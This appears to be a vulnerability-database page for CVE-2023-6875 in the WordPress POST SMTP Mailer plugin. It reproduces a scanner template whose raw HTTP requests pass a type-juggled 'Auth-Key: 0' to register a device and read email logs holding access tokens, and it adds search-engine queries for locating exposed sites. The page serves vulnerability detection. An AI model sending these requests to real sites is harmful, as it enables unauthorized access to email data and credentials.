CVE-2023-6875: WordPress POST SMTP Mailer <= 2.8.7 - Authorization Bypass

2025-08-01 WordPress POST SMTP Mailer PoC Public

Description

The POST SMTP Mailer – Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a type juggling issue on the connect-app REST endpoint in all versions up to, and including, 2.8.7.

PoC

id: CVE-2023-6875

info:
  name: WordPress POST SMTP Mailer <= 2.8.7 - Authorization Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The POST SMTP Mailer – Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a type juggling issue on the connect-app REST endpoint in all versions up to, and including, 2.8.7.
  impact: |
    Unauthenticated attackers can exploit type juggling vulnerabilities in the connect-app REST endpoint to access and modify sensitive email configuration data.
  remediation: Fixed in 2.8.8
  reference:
    - https://plugins.trac.wordpress.org/browser/post-smtp/trunk/Postman/Mobile/includes/rest-api/v1/rest-api.php#L60
    - https://plugins.trac.wordpress.org/changeset/3016051/post-smtp/trunk?contextall=1&old=3012318&old_path=%2Fpost-smtp%2Ftrunk
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e675d64c-cbb8-4f24-9b6f-2597a97b49af?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6875
    - https://github.com/UlyssesSaicha/CVE-2023-6875
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6875
    cwe-id: CWE-862
    epss-score: 0.90339
    epss-percentile: 0.99792
    cpe: cpe:2.3:a:wpexperts:post_smtp_mailer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: wpexperts
    product: post_smtp_mailer
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/post-smtp
    fofa-query: body=/wp-content/plugins/post-smtp
    publicwww-query: "/wp-content/plugins/post-smtp"
  tags: cve,cve2023,wp,wp-plugin,wordpress,smtp,mailer,auth-bypass,wpexperts,vkev,vuln
variables:
  fcm_token: "{{randstr_1}}"
  device: "{{randstr_2}}"

http:
  - raw:
      - |
        POST /wp-json/post-smtp/v1/connect-app HTTP/1.1
        Host: {{Hostname}}
        Auth-Key: 0
        Device: {{device}}
        Fcm-Token: {{fcm_token}}
        Content-Type: application/x-www-form-urlencoded

      - |
        POST /wp-json/post-smtp/v1/connect-app HTTP/1.1
        Host: {{Hostname}}
        Auth-Key: 0
        Device: {{device}}
        Fcm-Token: {{fcm_token}}
        Content-Type: application/x-www-form-urlencoded

      - |
        GET /wp-json/post-smtp/v1/get-log HTTP/1.1
        Host: {{Hostname}}
        Auth-Key: 0
        Device: {{device}}
        Fcm-Token: {{fcm_token}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2, "success\":true,", "{\"fcm_token\":\"{{fcm_token}}")'
          - 'contains_all(body_3, "true,\"data\":", "access_token=")'
        condition: and
# digest: 4a0a00473045022100b02413e5e720b18660ac20a93925aabc05983f35bb8ead0e3abf8cd0b05202a9022010b46acad263106b389980127b3ad1a12a92f637866b1dd70929357339cab2fd:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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